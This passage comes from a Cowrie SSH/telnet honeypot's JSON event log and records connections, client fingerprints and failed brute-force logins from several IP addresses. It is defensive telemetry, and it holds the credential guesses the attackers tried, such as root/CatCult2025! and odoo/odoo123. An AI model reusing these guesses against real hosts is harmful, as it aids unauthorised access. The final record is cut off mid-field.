{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:00.125458Z","src_ip":"211.253.37.225","session":"d10b4e8f1371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:00.335548Z","src_ip":"211.253.37.225","session":"d10b4e8f1371","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zmail","password":"123456","message":"login attempt [zmail/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:01.276726Z","src_ip":"211.253.37.225","session":"d10b4e8f1371","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:02.492127Z","src_ip":"211.253.37.225","session":"d10b4e8f1371","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.38364243507385,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:03.467037Z","src_ip":"128.199.8.54","session":"8b04c2b986a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60186,"dst_ip":"10.17.0.5","dst_port":22,"session":"a45216e5bd8c","protocol":"ssh","message":"New connection: 141.11.88.14:60186 (10.17.0.5:22) [session: a45216e5bd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:03.683053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:03.727386Z","src_ip":"141.11.88.14","session":"a45216e5bd8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:03.826772Z","src_ip":"141.11.88.14","session":"a45216e5bd8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo123","message":"login attempt [odoo/odoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:04.248199Z","src_ip":"141.11.88.14","session":"a45216e5bd8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:05.589897Z","src_ip":"141.11.88.14","session":"a45216e5bd8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":60208,"dst_ip":"159.203.135.109","dst_port":22,"session":"49b5ca8dec41","protocol":"ssh","message":"New connection: 160.191.244.158:60208 (159.203.135.109:22) [session: 49b5ca8dec41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:05.900205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:05.904834Z","src_ip":"160.191.244.158","session":"49b5ca8dec41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:06.135122Z","src_ip":"160.191.244.158","session":"49b5ca8dec41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"123456","message":"login attempt [leonardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:07.091116Z","src_ip":"160.191.244.158","session":"49b5ca8dec41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:08.327205Z","src_ip":"160.191.244.158","session":"49b5ca8dec41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29270,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0afd877e94e","protocol":"ssh","message":"New connection: 141.11.88.14:29270 (10.17.0.5:22) [session: d0afd877e94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:09.818372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:09.872648Z","src_ip":"141.11.88.14","session":"d0afd877e94e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:09.917304Z","src_ip":"141.11.88.14","session":"d0afd877e94e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CatCult2025!","message":"login attempt [root/CatCult2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:10.260712Z","src_ip":"141.11.88.14","session":"d0afd877e94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:11.572364Z","src_ip":"141.11.88.14","session":"d0afd877e94e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29316,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d2892703199","protocol":"ssh","message":"New connection: 141.11.88.14:29316 (10.17.0.5:22) [session: 6d2892703199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:15.828272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:15.927688Z","src_ip":"141.11.88.14","session":"6d2892703199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:15.934071Z","src_ip":"141.11.88.14","session":"6d2892703199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spark","password":"spark","message":"login attempt [spark/spark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:17.133916Z","src_ip":"141.11.88.14","session":"6d2892703199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:18.242485Z","src_ip":"141.11.88.14","session":"6d2892703199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32078,"dst_ip":"10.17.0.5","dst_port":22,"session":"490cb60bbcec","protocol":"ssh","message":"New connection: 141.11.88.14:32078 (10.17.0.5:22) [session: 490cb60bbcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:24.129227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:24.201212Z","src_ip":"141.11.88.14","session":"490cb60bbcec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:24.291170Z","src_ip":"141.11.88.14","session":"490cb60bbcec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dst","password":"dst","message":"login attempt [dst/dst] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:25.059646Z","src_ip":"141.11.88.14","session":"490cb60bbcec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:26.148010Z","src_ip":"141.11.88.14","session":"490cb60bbcec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":62214,"dst_ip":"10.17.0.5","dst_port":22,"session":"755d1b478e61","protocol":"ssh","message":"New connection: 38.93.206.2:62214 (10.17.0.5:22) [session: 755d1b478e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:29.985217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:29.990132Z","src_ip":"38.93.206.2","session":"755d1b478e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:30.042480Z","src_ip":"38.93.206.2","session":"755d1b478e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:30.196975Z","src_ip":"38.93.206.2","session":"755d1b478e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:31.251602Z","src_ip":"38.93.206.2","session":"755d1b478e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30884,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f092c4eb900","protocol":"ssh","message":"New connection: 141.11.88.14:30884 (10.17.0.5:22) [session: 7f092c4eb900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:31.918453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:31.923503Z","src_ip":"141.11.88.14","session":"7f092c4eb900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:32.691658Z","src_ip":"141.11.88.14","session":"7f092c4eb900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:33.304400Z","src_ip":"141.11.88.14","session":"7f092c4eb900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:34.387745Z","src_ip":"141.11.88.14","session":"7f092c4eb900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12824,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ca3de28b42c","protocol":"ssh","message":"New connection: 141.11.88.14:12824 (10.17.0.5:22) [session: 7ca3de28b42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:39.780486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:39.842320Z","src_ip":"141.11.88.14","session":"7ca3de28b42c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha